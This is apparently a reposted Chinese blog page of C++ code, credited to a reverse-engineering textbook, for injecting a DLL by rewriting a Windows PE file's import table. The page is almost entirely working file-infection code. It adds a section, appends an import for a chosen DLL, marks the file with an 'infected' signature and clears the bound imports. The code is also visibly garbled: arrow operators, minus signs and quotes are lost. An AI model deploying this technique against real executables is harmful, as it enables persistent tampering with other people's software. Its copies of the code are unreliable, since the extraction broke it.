bResult = SetFilePointerEx(m_hFile,liFileOffset,NULL,FILE_BEGIN);

if (!bResult)

{

FormatErrorMsg("添加新节保存PE时设置文件指针错误!",GetLastError());

return NULL;

}

bResult = WriteFile(m_hFile,m_hModule,m_pOptHeader>SizeOfHeaders,&dwIoCnt,NULL);

if (!bResult)

{

FormatErrorMsg("添加新节保存PE时写入文件错误!",GetLastError());

return NULL;

}

FlushFileBuffers(m_hFile);

return pNewSecHeader;

}

//在内存中添加一个新节并返回新节的数据

PIMAGE_SECTION_HEADER CImage::AddNewSectionToMemory(char *szSectionName, DWORD SectionSize)

{

PIMAGE_SECTION_HEADER pNewSecHeader = m_pSecHeader + m_SectionCnt ;

PIMAGE_SECTION_HEADER pLastSecHeader = m_pSecHeader + m_SectionCnt 1;

DWORD dwSectionVA,dwSectionRawOffset,dwSectionSize;

BOOL bResult = FALSE ;

SIZE_T dwIoCnt = 0 ;

HANDLE hProc = (m_hProc == NULL )? GetCurrentProcess():m_hProc;

ULONG_PTR HighestUserAddress = 0;

BYTE PEHeader[0x1000]={0};

//获取基本的地址空间信息

SYSTEM_INFO sysinfo;

ZeroMemory(&sysinfo,sizeof(SYSTEM_INFO));

GetSystemInfo(&sysinfo);

HighestUserAddress = (ULONG_PTR)sysinfo.lpMaximumApplicationAddress;

//计算新节的起始虚拟内存偏移

dwSectionVA = pLastSecHeader>VirtualAddress + ALIGN_SIZE_UP(pLastSecHeader>Misc.VirtualSize,m_pOptHeader>SectionAlignment);

//计算新节的物理起始偏移

dwSectionRawOffset = pLastSecHeader>PointerToRawData + GetAlignedSize(pLastSecHeader>SizeOfRawData,m_pOptHeader>FileAlignment);

//计算新节的大小,按文件对齐粒度对齐

dwSectionSize = GetAlignedSize(SectionSize,m_pOptHeader>FileAlignment);

ULONG_PTR dwNewSectionStartAddr = m_ImageBase + dwSectionVA;

ULONG_PTR AddressToAlloc = GetAlignedPointer(dwNewSectionStartAddr,sysinfo.dwAllocationGranularity);

PBYTE AllocatedMem = NULL ;

//从PE最后一个节开始,向后申请内存

for (AddressToAlloc = dwNewSectionStartAddr; AddressToAlloc < HighestUserAddress;AddressToAlloc += sysinfo.dwAllocationGranularity)

{

//申请地址

AllocatedMem = (PBYTE)VirtualAllocEx(hProc,(PVOID)AddressToAlloc,dwSectionSize,MEM_RESERVE |MEM_COMMIT,PAGE_EXECUTE_READWRITE);

if (AllocatedMem != NULL)

{

break;

}

}

if (AllocatedMem == NULL)

{

FormatErrorMsg("添加新节时在目标进程中申请内存失败!",GetLastError());

return NULL;

}

//printf("[*] NewSection Address = 0x%p Size = 0x%X ",AllocatedMem,dwSectionSize);

dwSectionVA = FILED_OFFSET(AllocatedMem,m_ImageBase);

//填充SectionHeader

ZeroMemory(pNewSecHeader,sizeof(IMAGE_SECTION_HEADER));

strncpy((char*)pNewSecHeader>Name,szSectionName,8);

pNewSecHeader>Misc.VirtualSize = dwSectionSize;

pNewSecHeader>VirtualAddress = dwSectionVA;

pNewSecHeader>PointerToRawData = dwSectionRawOffset ;

pNewSecHeader>SizeOfRawData = dwSectionSize;

pNewSecHeader>Characteristics = IMAGE_SCN_CNT_INITIALIZED_DATA | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE;

//更新PE头中的节个数

m_pFileHeader>NumberOfSections += 1;

m_SectionCnt++ ;

//更新PE头中的总映像大小

m_pOptHeader>SizeOfImage += dwSectionSize;

//更新目标进程的PE头

DWORD dwOldProtect = 0 ;

bResult = VirtualProtectEx(hProc,(LPVOID)m_ImageBase,m_pOptHeader>SizeOfHeaders,PAGE_READWRITE,&dwOldProtect);

if (!bResult)

{

FormatErrorMsg("修改目标进程内存属性时失败!",GetLastError());

return NULL;

}

bResult = WriteProcessMemory(hProc,(LPVOID)m_ImageBase,m_HeaderData,m_pOptHeader>SizeOfHeaders,&dwIoCnt);

if (!bResult)

{

FormatErrorMsg("向目标进程写入PE头数据时错误!",GetLastError());

return NULL;

}

return pNewSecHeader;

}

PIMAGE_SECTION_HEADER CImage::ExtraLastSectionSizeToFile(DWORD SectionAddSize)

{

PIMAGE_SECTION_HEADER pLastSecHeader = m_pSecHeader + m_SectionCnt 1;

DWORD dwSectionNewVirtualSize,dwSectionNewRawOffset,dwSectionNewRawSize;

DWORD dwOldSectionVirtualSize = 0 ;

LARGE_INTEGER liFileOffset;

BOOL bResult = FALSE ;

DWORD dwIoCnt = 0 ;

//在扩展最后一个节的情况下,需要更改最后一个节的RawSize和VirtualSize,起始偏移均不变

//计算新节的物理大小,按文件对齐粒度对齐

dwSectionNewRawOffset = pLastSecHeader>PointerToRawData ;

dwSectionNewRawSize = GetAlignedSize(pLastSecHeader>SizeOfRawData + SectionAddSize,m_pOptHeader>FileAlignment);

dwOldSectionVirtualSize = dwSectionNewVirtualSize = GetAlignedSize(pLastSecHeader>Misc.VirtualSize , m_pOptHeader>SectionAlignment);

//计处新节的VirtualSize大小,仅当内存大小小于文件大小时,需要增加

if (pLastSecHeader>Misc.VirtualSize < dwSectionNewRawSize)

{

dwSectionNewVirtualSize += SectionAddSize;

}

//设置文件指针位置

liFileOffset.QuadPart = dwSectionNewRawOffset + pLastSecHeader>SizeOfRawData + SectionAddSize;

bResult = SetFilePointerEx(m_hFile,liFileOffset,NULL,FILE_BEGIN);

if (!bResult)

{

FormatErrorMsg("添加新节时设置文件指针错误!",GetLastError());

return NULL;

}

bResult = SetEndOfFile(m_hFile);

if (!bResult)

{

FormatErrorMsg("添加新节时设置文件结束位置错误!",GetLastError());

return NULL;

}

//填充SectionHeader

pLastSecHeader>Misc.VirtualSize = dwSectionNewVirtualSize;

pLastSecHeader>SizeOfRawData = dwSectionNewRawSize;

pLastSecHeader>Characteristics |= IMAGE_SCN_MEM_READ;

//更新PE头中的总映像大小

m_pOptHeader>SizeOfImage = m_pOptHeader>SizeOfImage dwOldSectionVirtualSize

+ GetAlignedSize(pLastSecHeader>Misc.VirtualSize,m_pOptHeader>SectionAlignment);

//保存PE头到文件中

liFileOffset.QuadPart = 0;

bResult = SetFilePointerEx(m_hFile,liFileOffset,NULL,FILE_BEGIN);

if (!bResult)

{

FormatErrorMsg("添加新节保存PE时设置文件指针错误!",GetLastError());

return NULL;

}

bResult = WriteFile(m_hFile,m_hModule,m_pOptHeader>SizeOfHeaders,&dwIoCnt,NULL);

if (!bResult)

{

FormatErrorMsg("添加新节保存PE时写入文件错误!",GetLastError());

return NULL;

}

FlushFileBuffers(m_hFile);

return pLastSecHeader;

}

#include "stdafx.h"

#include <windows.h>

#include <stdlib.h>

#include "Image.h"

#define INFECT_SIG (‘PE‘)

BOOL AddSectionTest();

BOOL InfectImport(

IN char *szImageFilePath,

IN char *szDllPath,

IN char *szDllExportFunName

);

int main(int argc, char* argv[])

{

#ifdef _WIN64

InfectImport("F:\Program2016\DllInjection\HostProc64.exe","Msgdll64.dll","Msg");

#else

InfectImport("F:\Program2016\DllInjection\HostProc.exe","Msgdll.dll","Msg");

#endif

return 0;

}

BOOL InfectImport(

IN char *szImageFilePath,

IN char *szDllName,

IN char *szDllExportFunName)

{

CImage Img;

BOOL bResult = FALSE ;

WORD i = 0 ;

DWORD dwIoCnt = 0 ;

char szErrMsg[1024]={0};

PIMAGE_SECTION_HEADER pImpSecHeader,pNewSecHeader = NULL,pTargetSecHeader = NULL;

DWORD dwOldIIDCnt = 0 ,dwNewIIDCnt = 0 ;

DWORD dwOldIIDSize = 0, dwNewIIDSize = 0 ;

DWORD dwVAToStoreNewIID = 0 ; //新IID数组的存储位置(新导入表)

DWORD dwnewThunkDataSize = 0 ; //新IID项的ThunkData的存储位置

DWORD dwNewThunkDataVA = 0 ;//新IID项的ThunkData的存储位置

DWORD dwSizeNeed = 0 ;

DWORD dwThunkDataOffsetByIID = 0 ;

BOOL bUseNewSection = FALSE ; //是否使用了新节

BOOL bPlaceThunkDataToOldIID = TRUE ; //表明ThunkData存放的位置是不是在原来的IID位置,如果放不下,得找新位置

printf("[*] Path = %s ",szImageFilePath);

//以读写方式打开目标文件

HANDLE hFile = CreateFile(szImageFilePath,

GENERIC_READ|GENERIC_WRITE,

FILE_SHARE_READ,

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,

NULL);

//解析PE结构

PBYTE pNotepad = Img.LoadImage(hFile,FALSE,0,FALSE);

printf("[*] pImageBase = 0x%p ",pNotepad);

if (pNotepad == NULL)

{

printf("[] 加载PE文件失败! %s ",Img.GetErrorMsg(szErrMsg,1024));

return FALSE;

}

//检查是否被感染过

if (Img.m_pDosHeader>e_csum == INFECT_SIG)

{

printf("[] 文件已经被感染过! ");

return FALSE;

}

printf("[*] 当前导入表信息 VA = 0x%p Size = 0x%X ",Img.m_pImpDataDir>VirtualAddress,Img.m_pImpDataDir>Size);

dwOldIIDSize = Img.m_pImpDataDir>Size ;

dwOldIIDCnt = dwOldIIDSize / sizeof(IMAGE_IMPORT_DESCRIPTOR) ;

dwNewIIDCnt = dwOldIIDCnt + 1;

dwNewIIDSize = dwNewIIDCnt * sizeof(IMAGE_IMPORT_DESCRIPTOR) ;

printf("[*] dwOldIIDCnt = %d Size = 0x%X ",dwOldIIDCnt,dwOldIIDSize);

printf("[*] dwNewIIDCnt = %d Size = 0x%X ",dwNewIIDCnt,dwNewIIDSize);

dwSizeNeed = dwNewIIDSize; //所需的大小是新导入表IID结构的大小

pImpSecHeader = Img.LocateSectionByRVA(Img.m_pImpDataDir>Vir tualAddress);

printf("[*] 导入表所在节 %s RawOffset = 0x%X Size = 0x%X ",

pImpSecHeader>Name,

pImpSecHeader>PointerToRawData,

pImpSecHeader>SizeOfRawData);

DWORD dwPaddingSize = Img.GetSectionPhysialPaddingSize(pImpSecHeader);

printf("[*] 导入表节空隙大小 = 0x%X ",dwPaddingSize);

//计算填充ThunkData需要的大小,它包括了OriginalFirstThunk、FirstThunk、IMPORT_BY_NAME,以及DllName

dwnewThunkDataSize = sizeof(ULONG_PTR)*4 + strlen(szDllName) + 1 + sizeof(WORD) + strlen(szDllExportFunName) + 1 ;

dwnewThunkDataSize = ALIGN_SIZE_UP(dwnewThunkDataSize,sizeof(ULONG)); //对齐

//判断原导入表位置能否写下新的ThunkData

if (dwnewThunkDataSize > dwOldIIDSize)

{

//写不下,那么在寻找节隙时就要加上

//按ULONG_PTR对齐之后再添加ThunkData,虽然不按这个对齐也可以

dwThunkDataOffsetByIID = ALIGN_SIZE_UP(dwNewIIDSize,sizeof(ULONG_PTR)) ;

dwSizeNeed = dwThunkDataOffsetByIID + dwnewThunkDataSize ;

bPlaceThunkDataToOldIID = FALSE ;

}

printf("[*] 放置新导入表数据所需要的大小 = 0x%X ",dwSizeNeed);

//dwPaddingSize = 0 ;//测试,强制添加新节

if (dwPaddingSize >= dwSizeNeed)

{

printf("[*] 节空隙可以放下新的导入表,不需添加新节! ");

dwVAToStoreNewIID = pImpSecHeader>VirtualAddress + Img.GetAlignedSize(pImpSecHeader>Misc.VirtualSize,sizeof(DWORD));

pTargetSecHeader = pImpSecHeader;

}

else

{

printf("[] 节空隙不能放下新的导入表,需要添加新节! ");

//根据所需的空间大小添加一个新节

pNewSecHeader = Img.AddNewSectionToFile(".Patch",dwSizeNeed);

printf("[*] 新节添加完毕! VA = 0x%X RawOffset = 0x%X RawSize = 0x%X ",

pNewSecHeader>VirtualAddress,pNewSecHeader>PointerToRawData,pNewSecHeader>SizeOfRawData);

dwVAToStoreNewIID = pNewSecHeader>VirtualAddress ;

pTargetSecHeader = pNewSecHeader;

bUseNewSection = TRUE;

}

//保存原导入表

PIMAGE_IMPORT_DESCRIPTOR pOldImpDesp = Img.m_pImportDesp;

PIMAGE_IMPORT_DESCRIPTOR pBuildNewImpDesp = (PIMAGE_IMPORT_DESCRIPTOR)malloc(dwSizeNeed);

ZeroMemory(pBuildNewImpDesp,dwSizeNeed);

//保存原来的导入表部分到新的中

memcpy(pBuildNewImpDesp,pOldImpDesp,dwOldIIDSize);

printf("[*] 原导入表IID结构保存完毕. ");

//指向一个新添加的IID项,稍后填充

PIMAGE_IMPORT_DESCRIPTOR pNewImpEntry = pBuildNewImpDesp + dwOldIIDCnt 1;

//需要注意的是,ThunkData在32位和64位下的长度是不一样的,所以这里定义为自适应的ULONG_PTR

PULONG_PTR pOriginalFirstThunk = NULL ;

if (bPlaceThunkDataToOldIID)

{

//使用原IID的位置存放Thunk数据

pOriginalFirstThunk = (PULONG_PTR)(Img.m_hModule + Img.m_pImpDataDir>VirtualAddress);

dwNewThunkDataVA = Img.m_pImpDataDir>VirtualAddress ;

}

else

{

//原IID的位置存放不下,使用新位置存放

pOriginalFirstThunk = (PULONG_PTR)((PBYTE)pBuildNewImpDesp + dwThunkDataOffsetByIID);

dwNewThunkDataVA = dwVAToStoreNewIID + dwThunkDataOffsetByIID ; //在IID数据后面

}

ZeroMemory(pOriginalFirstThunk,dwnewThunkDataSize);

//留出两项内容,第一项稍后填充,第二项填0作为结束标记

PULONG_PTR pFirstThunk = pOriginalFirstThunk + 2 ;

//留出两项内容,第一项稍后填充,第二项填0作为结束标记,之后作为Dll名称

PCHAR pDllName = (PCHAR)(pFirstThunk + 2);

//保存dll名称

strcpy(pDllName,szDllName);

SIZE_T DllNameLen = strlen(szDllName);

pDllName[DllNameLen] = 0;

//接下来作为一个PIMPORT_BY_NAME结构

PIMAGE_IMPORT_BY_NAME pImpName = (PIMAGE_IMPORT_BY_NAME)(pDllName + DllNameLen + 1);

//填充它

pImpName>Hint = 0;

strcpy((char*)pImpName>Name,szDllExportFunName);

printf("[*] 新导入表IID子结构构造完毕. ");

//计算结束位置

PCHAR pEnd = (PCHAR)pImpName + sizeof(pImpName>Hint) + strlen((char*)pImpName>Name) + 1;

//计算总占用的空间大小

DWORD dwNewIIDEntrySizeUsed = (DWORD)pEnd (DWORD)pOriginalFirstThunk;

printf("[*] 新IID成员占用的空间大小 = 0x%X ",dwNewIIDEntrySizeUsed);

//返过来填充OriginalFirstThunk和FirstThunk

//根据定义,OriginalFirst应指向IMAGE_IMPORT_BY_NAME结构的偏移

pOriginalFirstThunk[0] = dwNewThunkDataVA + ((PBYTE)pImpName (PBYTE)pOriginalFirstThunk);

pFirstThunk[0] = pOriginalFirstThunk[0];

//最后填充新的IID项,计算各项的RVA

pNewImpEntry>OriginalFirstThunk = dwNewThunkDataVA;

pNewImpEntry>Name = dwNewThunkDataVA + sizeof(ULONG_PTR)*4;//OriginalFirstThunk + FirstThunk的大小

pNewImpEntry>FirstThunk = dwNewThunkDataVA + sizeof(ULONG_PTR)*2;

printf("[*] 新IID填充完毕. ");

//更新PE头中的几个值

//新的导入表大小

Img.m_pImpDataDir>Size = dwNewIIDSize;

//新的导入表IID的起始偏移

Img.m_pImpDataDir>VirtualAddress = dwVAToStoreNewIID;

if (!bUseNewSection)

{

pImpSecHeader>Misc.VirtualSize += dwSizeNeed;

}

//如果ThunkData放在了原IID的位置,需要设置节为可写的

pImpSecHeader>Characteristics |= IMAGE_SCN_MEM_WRITE;

//清空绑定输入表,强迫加载器重新加载IAT

Img.m_pOptHeader>DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;

Img.m_pOptHeader>DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;

//设置感染标记

Img.m_pDosHeader>e_csum = INFECT_SIG;

printf("[*] PE头更新完毕. ");

//写入文件

printf("[*] 开始保存文件. ");

//开始保存内存中的修改内容到文件中

//先写入新的PE头

DWORD dwFileOffset = 0;

ULONG_PTR dwVAInMemory = 0 ;

SetFilePointer(hFile,0,NULL,FILE_BEGIN);

bResult = WriteFile(hFile,Img.m_hModule,Img.m_pOptHeader>SizeOfHeaders,&dwIoCnt,NULL);

if (!bResult)

{

Img.FormatErrorMsg("[] 写入文件失败!",GetLastError());

return FALSE;

}

printf("[*] PE头写入完毕. Offset = 0x%X Size = 0x%x ",dwFileOffset,dwIoCnt);

//写入新IID的子结构信息,位置在原导入表的开始处

dwVAInMemory = dwNewThunkDataVA ;

dwFileOffset = Img.Rav2Raw(dwVAInMemory);

SetFilePointer(hFile,dwFileOffset,NULL,FILE_BEGIN);

bResult = WriteFile(hFile,pOriginalFirstThunk,dwNewIIDEntrySizeUsed,&dwIoCnt,NULL);

if (!bResult)

{

Img.FormatErrorMsg("[] 写入文件失败!",GetLastError());

return FALSE;

}

printf("[*] 新IID项的子结构写入完毕. Offset = 0x%X Size = 0x%x ",dwFileOffset,dwIoCnt);

//写入新的IID结构

dwVAInMemory = (ULONG_PTR)Img.m_pImpDataDir>VirtualAddress;

dwFileOffset = Img.Rav2Raw(dwVAInMemory);

SetFilePointer(hFile,dwFileOffset,NULL,FILE_BEGIN);

bResult = WriteFile(hFile,pBuildNewImpDesp,dwNewIIDSize,&dwIoCnt,NULL);

if (!bResult)

{

Img.FormatErrorMsg("[] 写入文件失败!",GetLastError());

return FALSE;

}

printf("[*] 新导入表整体写入完毕. Offset = 0x%X Size = 0x%x ",dwFileOffset,dwIoCnt);

printf("[*] 导入表感染完毕. ");

return TRUE;

}

注:此代码出自《加密与解密(第四版)》第12章 注入技术

[DLL注入的方法]进程创建期修改PE输入表法标签:关闭比较检查idsalignmentormcsuiocleave原文地址:https://www.cnblogs.com/hanhandaren/p/11453513.html

1[DLL注入的方法]进程创建期修改PE输入表法系部分转载自网络,如有对程序员或作者侵犯,请联系我们立即删除,另:本文仅代表作者个人观点,与本网站无关。

2[DLL注入的方法]进程创建期修改PE输入表法这篇文章的原创性以及文中对于编程运维专业度的陈述文字 和内容未经本站证实,对本文以及其中全部或者部分内容及图片的有效性、文字的真实性、完整性、及时性本站不作任何保证或承诺以及推荐,本站非盈利,有对图片文字不适的请程序员及读者仅作参考并自行核实相关内容

3这篇[DLL注入的方法]进程创建期修改PE输入表法的文章,涉及的偏移,块头,封装,解密,导出命令,变量,函数,代码,类,库等皆是代称